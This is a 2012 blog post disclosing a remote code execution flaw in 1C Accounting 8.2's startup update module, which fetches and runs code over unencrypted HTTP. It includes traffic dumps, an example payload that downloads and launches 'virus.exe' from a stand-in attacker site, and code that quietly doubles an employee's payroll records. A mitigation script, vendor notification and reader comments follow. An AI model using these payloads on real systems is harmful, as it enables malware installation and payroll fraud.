13 июня 2012 в 22:35

Дырка позволяющая удаленное исполнение произвольного кода при старте 1С 8.2 БП


Я думаю все знают что такое 1С. Если не дома, то на работе в любимой бухгалтерии она точно есть.
Масштабы распространения действительно велики. Поэтому меня удивляет что так мало(нет?) исследований в области безопасности и уязвимостей ПО.
Поэтому если сообщество позволит, я бы хотел рассказать об одном из своих исследований в этой области.

1С, как и любая организация, идущая в ногу со временем, старается предоставить конечному пользователю максимальное удобство при работе.

У 1С много конфигураций: своих и партнерских. Уязвимость определяется именно конфигурацией, а не платформой. Моё исследование будет на примере конфигурации Бухгалтерия предприятия редакция 2.0 (2.0.36.4), возможно, уязвимы и некоторые другие конфигурации, где используются аналогичные механизмы.

Так вот при запуске 1С мы видим авторизационное окно «Интернет поддержка пользователей».


На языке 1С это называется «обработка». Меня всегда смущало то, что открывается она достаточно долго.
В ходе расследования удалось обнаружить следующее:

GET /files/unmanaged.epf?0.8194215912837794 HTTP/1.1

User-Agent: 1C+Enterprise/8.2

Host: webits.1c.ru

Accept: */*


Расширение «epf» как раз стандартное расширение для обработок. Выкачиваю файл вручную, открываю в конфигураторе и вижу ровно то что и должен.


Получается, что при некотором стечении обстоятельств(об этом ниже) обработка выкачивается из интернета и запускается на выполнение. Значит если вместо дефолтной обработки сервер отдаст обработку злого захера хакера то…

Но давайте по порядку


С помощью WireShark'а я сделал дамп всего диалога 1С с сервером webits.1c.ru.
Все клиент-серверные диалоги не зашифрованы! Чистый HTTP.
Вот последовательность общения:

GET /services/WebItsService.xml HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*


Ответ сервера
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:36 GMT
Content-Type: text/xml
Content-Length: 7657
Last-Modified: Tue, 17 Jan 2012 06:11:40 GMT
Connection: keep-alive
Accept-Ranges: bytes

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions name=«WebItsServiceImplService» targetNamespace=«ws.webits.onec.ru» xmlns:ns1=«schemas.xmlsoap.org/soap/http» xmlns:soap=«schemas.xmlsoap.org/wsdl/soap/» xmlns:tns=«ws.webits.onec.ru» xmlns:wsdl=«schemas.xmlsoap.org/wsdl/» xmlns:xsd=«www.w3.org/2001/XMLSchema»>
<wsdl:types>

</wsdl:port>
</wsdl:service>
</wsdl:definitions>


Ничего любопытного, сервер просто отдаёт XML файл, выкачиваем его к себе.




POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 132

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> </soap:Body>
</soap:Envelope>


Ответ сервера
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:36 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 182
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <isReadyResponse xmlns="http://ws.webits.onec.ru">ready</isReadyResponse>
    </soap:Body>
</soap:Envelope>



POST запрос на сервер, сервер отвечает о своей готовности «ready».




Повторяется 1й GET запрос, дублировать не буду.




POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 465

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
	<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<m:parameter>
			<m:index>0</m:index>
			<m:name>unmanaged</m:name>
			<m:value>1.0.2.2</m:value>
		</m:parameter>
	</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>


Ответ сервера. Вариант 1
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:37 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 1305
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>launch</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>bp</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>nameURI</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>http://ws.webits.onec.ru</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>



Или

Ответ сервера. Вариант 2
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:37 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 1305
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>download</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>unmanaged</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>http://webits.1c.ru/files/unmanaged.epf?0.2508892420477489</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
                <command>
                    <name>launch</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>bp</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>nameURI</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>http://ws.webits.onec.ru</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>



А вот тут у нас два варианта развития событий. Как видно POST запросом 1С передает на сервер версию уже имеющейся в базе обработки "<m:value>1.0.2.2</m:value>"
1) Ответ сервера когда версия обработки актуальна.
2) Как раз наш вариант, когда сервер сообщает, что нужно выкачать новую версию.




GET /files/unmanaged.epf?0.2508892420477489 HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*


Ответ сервера
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:06 GMT
Content-Type: application/octet-stream
Content-Length: 234389
Last-Modified: Fri, 08 Jun 2012 13:12:48 GMT
Connection: keep-alive
Accept-Ranges: bytes

..............{идет пересылка обработки}




Тут как раз самый GET, сюда то мы и будем пихать свой код вместо обработки.




GET /stats.jsp HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
Version platform: 8.2.15.301
Place start: Start'
Name configuration: 77u/0JHRg9GF0LPQsNC70YLQtdGA0LjRj9Cf0YDQtdC00L/RgNC40Y/RgtC40Y8=
Version configuration: 2.0.36.4
Version Web-ITS: 1.0.2.2


Ответ сервера
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:07 GMT
Content-Type: application/octet-stream
Content-Length: 15
Last-Modified: Tue, 24 Jan 2012 06:01:34 GMT
Connection: keep-alive
Accept-Ranges: bytes

<body>OK</body>



Тут тоже всё ясно, клиент передает информацию о себе, сервер проверяет и дает отчет о готовности.




Повторяется 1й POST. Снова выкачивается XML файл.




POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 2479

Тело
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
	<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<m:parameter>
			<m:index>0</m:index>
			<m:name>versionConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>2.0.36.4</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>1</m:index>
			<m:name>versionPlatform</m:name>
			<m:type>startUp</m:type>
			<m:value>8.2.15.301</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>2</m:index>
			<m:name>nameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БухгалтерияПредприятия</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>3</m:index>
			<m:name>versionWebIts</m:name>
			<m:type>startUp</m:type>
			<m:value>1.0.2.2</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>4</m:index>
			<m:name>language</m:name>
			<m:type>startUp</m:type>
			<m:value>ru_RU</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>5</m:index>
			<m:name>versionUpdateConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>Версия 1.1.6.8</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>6</m:index>
			<m:name>conditionalNameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БП</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>7</m:index>
			<m:name>enterPoint</m:name>
			<m:type>startUp</m:type>
			<m:value>systemStart</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>9</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>authUrlPassword</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://users.v8.1c.ru/webits.jsp?user=*******&password=**************;target=</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>10</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>bp</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>11</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>userId</m:name>
			<m:type>session_startup</m:type>
			<m:value>94310</m:value>
		</m:parameter>
	</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>



Ответ сервера
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:08 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 2250
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>store.put</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</bp>
                            <name>session_id</name>
                            <type>session_startup</type>
                            <value>00630be7-05a0-40ea-a0d0-0a05050500506</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</bp>
                            <name>bp</name>
                            <type>session_startup</type>
                            <value>http://webits.1c.ru/services/WebItsService.xml?wsdl</value>
                            <parameters
                            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
                <command>
                    <name>store.get</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>login</name>
                            <type>startup</type>
                            <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>password</name>
                            <type>startup</type>
                            <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>



Тут клиент опять сообщает серверу еще больше данных, в том числе логин и пароль для авторизации. А сервер отдает ему очередную порцию указаний.




Снова POST на выкачивания XML файла (1й)




POST /services/WebItsService HTTP/1.1
User-Agent: 1C+Enterprise/8.2
Host: webits.1c.ru
Accept: */*
SOAPAction: ""
Content-Type: text/xml; charset=utf-8
Content-Length: 2738


Тело
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Header/>
	<soap:Body> <m:processRequest xmlns:m="http://ws.webits.onec.ru">
	<m:parameters xmlns:xs="http://www.w3.org/2001/XMLSchema"
			xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<m:parameter>
			<m:index>0</m:index>
			<m:name>versionConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>2.0.36.4</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>1</m:index>
			<m:name>versionPlatform</m:name>
			<m:type>startUp</m:type>
			<m:value>8.2.15.301</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>2</m:index>
			<m:name>nameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БухгалтерияПредприятия</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>3</m:index>
			<m:name>versionWebIts</m:name>
			<m:type>startUp</m:type>
			<m:value>1.0.2.2</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>4</m:index>
			<m:name>language</m:name>
			<m:type>startUp</m:type>
			<m:value>ru_RU</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>5</m:index>
			<m:name>versionUpdateConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>Версия 1.1.6.8</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>6</m:index>
			<m:name>conditionalNameConfiguration</m:name>
			<m:type>startUp</m:type>
			<m:value>БП</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>7</m:index>
			<m:name>enterPoint</m:name>
			<m:type>startUp</m:type>
			<m:value>systemStart</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>9</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>authUrlPassword</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://users.v8.1c.ru/webits.jsp?user=*******&password=************&target=</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>10</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>bp</m:name>
			<m:type>session_startup</m:type>
			<m:value>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>11</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>session_id</m:name>
			<m:type>session_startup</m:type>
			<m:value>*****************************</m:value>
		</m:parameter>
		<m:parameter>
			<m:index>12</m:index>
			<m:bp>http://webits.1c.ru/services/WebItsService.xml?wsdl</m:bp>
			<m:name>userId</m:name>
			<m:type>session_startup</m:type>
			<m:value>94310</m:value>
		</m:parameter>
	</m:parameters>
</m:processRequest></soap:Body>
</soap:Envelope>



Ответ сервера
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 09 Jun 2012 11:43:08 GMT
Content-Type: text/xml;charset=UTF-8
Connection: keep-alive
Content-Length: 793
Content-Language: ru

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <processResponse xmlns="http://ws.webits.onec.ru">
            <commands>
                <command>
                    <name>ui.open</name>
                    <parameters>
                        <parameter>
                            <index xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <bp xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                            <name>IndexForm</name>
                            <type xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <value>f4</value>
                            <parameters xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                            xsi:nil="true" />
                            <commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                            />
                        </parameter>
                    </parameters>
                    <variable xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:nil="true"
                    />
                </command>
            </commands>
        </processResponse>
    </soap:Body>
</soap:Envelope>








Вот так выглядит общение, как видно все очень просто.

Следующим шагом я накидал небольшой веб сервер, который копировал ответы сервера, но менял код обработки на мою.

Чтобы 1С не выпадало в ошибки нужно соблюсти некоторые правила при написании своей фейковой обработки:
1)Нужно объявить 4 реквизита
URIСервиса, ИмяWSОпределения, МестоЗапуска: Строкового типа
Параметры: Тип «Произвольный»
Заполнять их не обязательно.
2)Нужно создать форму с названием «Стартовая» и Объявить её основной.
Страшного в этом ничего нет, в событие формы «При открытии» можно сразу её «Закрыть();» и далее выполнять любой произвольный код, так что жертва на экране ничего не увидит.

Что мы можем сделать?



Самое очевидное для хакера будет:

HTTP = Новый HTTPСоединение("www.hackersite.com");
ИмяВременногоФайла=ПолучитьИмяВременногоФайла("exe");
HTTP.Получить("/virus.exe",ИмяВременногоФайла);
ЗапуститьПриложение(ИмяВременногоФайла);


Но есть и более забавные варианты:

Если РольДоступна("Бухгалтер") Тогда 
//Можно таргетить не роль, а даже на конкретного пользователя.
	Запрос=Новый Запрос();
	Сотрудник=Справочники.ФизическиеЛица.НайтиПоНаименованию("Иванов Иван Иванович");
	Запрос.Текст="ВЫБРАТЬ РАЗЛИЧНЫЕ
	|	НачислениеЗарплатыРаботникамОрганизацийНачисления.Ссылка
	|ИЗ
	|	Документ.НачислениеЗарплатыРаботникамОрганизаций.Начисления КАК НачислениеЗарплатыРаботникамОрганизацийНачисления
	|ГДЕ
	|	НачислениеЗарплатыРаботникамОрганизацийНачисления.Физлицо = &Сотрудник
	|	И НачислениеЗарплатыРаботникамОрганизацийНачисления.Ссылка.Дата МЕЖДУ &Дата1 И &Дата2";
	Запрос.УстановитьПараметр("Сотрудник",Сотрудник);
	Запрос.УстановитьПараметр("Дата1 ",НачалоМесяца(ТекущаяДата()));
	Запрос.УстановитьПараметр("Дата2 ",КонецМесяца(ТекущаяДата()));
	Результат=Запрос.Выполнить.Выбрать();
	Пока Результат.Следующий() Цикл
		Док=Результат.Ссылка.ПолучитьОбъект();
		НужнаяСтрока=Док.Начисления.Найти(Сотрудник,"ФизЛицо");
		Если НужнаяСтрока<>Неопределено Тогда
			НужнаяСтрока.Начислено=НужнаяСтрока.Начислено*2;
			Попытка
				Если Док.Проведен=Истина Тогда
					Док.Записать(РежимЗаписиДокумента.Проведение);
				Иначе
					Док.Записать();
				КонецЕсли;	
			Исключение
				//	
			КонецПопытки
		КонецЕсли;
	КонецЦикла;
КонецЕсли;


И любые другие извращения с базой данных. И никаких следов, все логи будут указывать на то, что сделал это сам пользователь.

Всё усугубляется еще и тем что у многих 1С занесено в исключения в антивирусах и фаерволах, чтобы не было проблем с работой ключей защиты, особенно сетевых, да и вообще с программой.

В боевых условиях атака может быть совершена путем DNS спуфинга или MITM атакой с модификацией трафика, например Ettercap'ом.

Как защищаться?



По умолчанию для всех пользователей обработка будет выполняться при старте системы.
Можно воспользоваться приведенным ниже кодом, чтобы отключить автозапуск обработки при старте 1С. Ну и не забывать отключать этот функционал для новых пользователей.

ВыбПользователи   = ПользователиИнформационнойБазы.ПолучитьПользователей();
Если ВыбПользователи.Количество()>0 тогда
       Для Каждого Пользователь Из ВыбПользователи Цикл
             ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей","ПовторитьПопыткуПодключенияПриСтартеПрограммы", Ложь, , Пользователь.Имя);
             ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ВсегдаПоказыватьПриСтартеПрограммы", Ложь , Пользователь.Имя);
             Сообщить("Для пользователя " + Пользователь.Имя + " интернет-поддержка отключена");
       КонецЦикла;
 Иначе
       ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ПовторитьПопыткуПодключенияПриСтартеПрограммы", Ложь);
       ХранилищеОбщихНастроек.Сохранить("ИнтернетПоддержкаПользователей", "ВсегдаПоказыватьПриСтартеПрограммы", Ложь);
       Сообщить("Интернет-поддержка отключена");
КонецЕсли;


В саппорт 1С отписался пару дней назад.

Если сообществу окажется интересна данная тема, можно продолжить исследования в этой области.
Конечная цель исследования — не взлом, а улучшение нашей с вами защиты, поэтому НЕ надо использовать эту информацию в незаконных целях.
Спасибо за внимание.

** UPD
Сегодня было выпущено обновление 2.0.36.9 от 15.06.2012 которая «закрывает» дыру в том виде которая она сейчас есть. На сколько я смог бегло глянуть теперь вместо HTTP используется протокол HTTPS для части диалога. Никакой проверки валидности сертификата я не нашел, так что если всё так и есть — DNS спуфинг как минимум остается рабочим вариантом атаки. Подробнее смогу проанализировать вечером.

** UPD 2
Как удалось выяснить 1С грубо прописывает доверенные центры сертификации так что самоподписанный сертификат подсунуть не получилось. Дырка закрыта, можно спать почти спокойно. Продолжение ожидается :)
+64
87
AndreyKu 5,5

комментарии (82)

–52
Strorin, #
Вы уверены, что хабр — место для двачевских мемов, что в первом изображении?
+56
Sb0y, #
А вы знаете, что на самом деле «Rage Comics» произошли совсем не от туда?
+14
lowride, #
Не будьте занудой!
+9
zloy_alu, #
Кто двачевский, ты двачевский, ёпта.
–7
malanin, #
Я не лингвофашист, но в предложении «По этому меня удивляет что так мало(нет?) исследований в области...» слово «поэтому» пишется слитно.
+14
bediary, #
это пишется в личку
+6
malanin, #
Ох, приношу извинения, сразу не догадался.
+6
AndreyKu, #
Спасибо, поправил. В личку было бы хоть не так стыдно мне =)
+8
malanin, #
Буду научен. Сообщество не прощает оплошностей :-)
+11
amarao, #
Мило.

Сравнимо с автораном на флешках по степени эпичности.
–14
Selmaril, #
Дыра, конечно, адовая, но ведь так можно подцепиться к каждой второй программе, обновляющейся через интернет. Нужны только знать, как программа обрабатывает пришедшие данные, и если слишком вольно их применяет, то вписаться туда, я правильно понял идею?

Это уже какой-то косяк архитектуры в принципе, если так смотреть. Хотя можно было бы проверять хеши и все такое, но в любом случае есть куда втесаться почти всегда.

По моему ваше решение несколько радикально… А есть идеи как это можно в общем случае поправить не отключая напрочь обновления из инета? Я правильно понимаю что HTTPS и сертификаты спасают от этого?
+17
amarao, #
У меня линукс обновляется через интернет. И что, вы думаете, что можно вот так вот взять и скормить ему что угодно вместо deb'ок? Разумеется, там проверяются подписи пакетов. А в самих пакетах хранятся все контрольные суммы всех файлов, которые предоставляются пакетами.

У виндов с обновлениями системы, кстати, примерно так же — хрен вы там «не то» подложите.

–23
Selmaril, #
Я рад что у вас линукс.
+15
amarao, #
Дело не в линуксе, я ж специально вторым абзацем про винды написал. Дело в том, что думать надо головой. Качаешь в софте через публичную сеть исполняемый код? Проверь, что скачал то, что нужно.
–8
Selmaril, #
Ну фишка именно этой уязвимости в том, что через 1С скачал что нужно — epf ;) С модификацией и не с офф ресурса. А про хеши и проверки я предположил во втором абзаце. Интересно как с этой проблемой бороться, конкретные шаги, а не «делай правильно».
+3
amarao, #
С дырой в 1C? Ну, можно заблокировать локально (например, виндовым файрволом, чтобы не процесс не мог иметь доступа в инет).

Если заниматься технобандитством, то можно даже сделать так, чтобы качал он только с доверенного прокси, а туннель до него с помощью sstunnel настроить.

Путей там много, вы определитесь, от кого обороняться хотите.
+3
AndreyKu, #
Во многих случаях 1С нужен доступ в интернет. Загрузка курса валют, например.
Разных баз может быть много, и их всех обслуживает один и тот-же exe'шник.
Можно залочить конкретно webits.1c.ru. Но это не самый лучший выход.
+1
mihmig, #
Запретить то конечно можно…
Только вот что-то подсказывает мне что рано или поздно it-шник задолбается бегать к МарьИваннеГлавбуху разрешать доступ к очередной приблуде типа пенсионки или налоговой.
Плюнет и разрешит всё…
–2
S1ashka, #
evilgrade тому в пример… хрен вы там «не то» подложите
+2
AndreyKu, #
Знаете, я считаю что дыру можно найти почти везде. Как говорит одни мой знакомый «Сделать можно все что угодно, вопрос только времени и денег». Когда затраты на поиск уязвимости превосходят результат полученный в результате этой уязвимости — это и есть защита. Это конечно мое личное мнение.
0
Selmaril, #
И все же интересно как они закроют эту уязвимость. Да и как это надо было изначально правильно в духе 1С сделать.
Спасибо за статью!
0
mihmig, #
Дык вариант один: покупать сертификат на домен (деньжищи-то огроменные — баксов 600) и скачивать по https.
Хотя нет, сделают в своём стиле — наговнокодят обфускаций, типа чтоб хакер запутался и плюнул.
0
Selmaril, #
Я не понимаю кто и за что минусует вменяемые комменты и карму… Странные вещи творятся на хабре.
0
mihmig, #
может сотрудники франчей? да не парьтесь Вы, пусть минусуют, главное что мы вменяемые
+33
noma4i, #
Я конечно видел 1С неоднократно, но каждый раз, как я вижу исходный код на русском, то не могу остановить кровь из глаз.
+3
AndreyKu, #
Я был точно таким-же, когда осваивал этот язык. Это чувство быстро проходит. К слову, все операторы имеют и английские вариации.
0
noma4i, #
Если справочники и регистры в конфе на русском, то все равно будет винегрет из русского/английского.
+2
VolCh, #
А для кого их делать на английском?
+2
JYE, #
Поддерживаю. Ни чего страшно в русском ЯП нет. Правда в данном случае напрягает отсутствие на русской раскладке символов []<>, а так же необходимость нажимать шифт для печати точки запятой в конце строки.
А еще интересно переключаться с 1с на C# или VBA (на обычный, а не .NET)
+4
VolCh, #
А вы представляете как код на английском читают англичане и американцы? :)
+1
Banzeg, #
ХТТПconnection
0
1099511627776, #
тогда уже ГТТПConnection — (ГиперТекстовый Транспортный Протокол)
+10
rPman, #
эээ… а не ГТТППодключение?
+4
Banzeg, #
По мне так самое зло даже не в том, что код на русском, а в штуках типа «HTTPсоединение».
+2
ozgg, #
Может, там на самом деле «эн-тэ-тэ-эр-Соединение»? :)
+2
Neuronix, #
Вот, а потом наверно, удивляются, почему код написанный верно не работает)
0
osby, #
Ещё есть смешная функция ЕстьNull().
На самом деле использование русских операторов оправдано, т.к. названия объектов на русском, что естественно.
0
igrishaev, #
Ничего страшного в русском ЯП нет. Все операторы и объекты имеют английские имена. Проблема в частых переключениях раскладок и в именах со смешанным написанием (типа HTTPСоединение). В остальном — типичный скриптовой язык типа VB.
+2
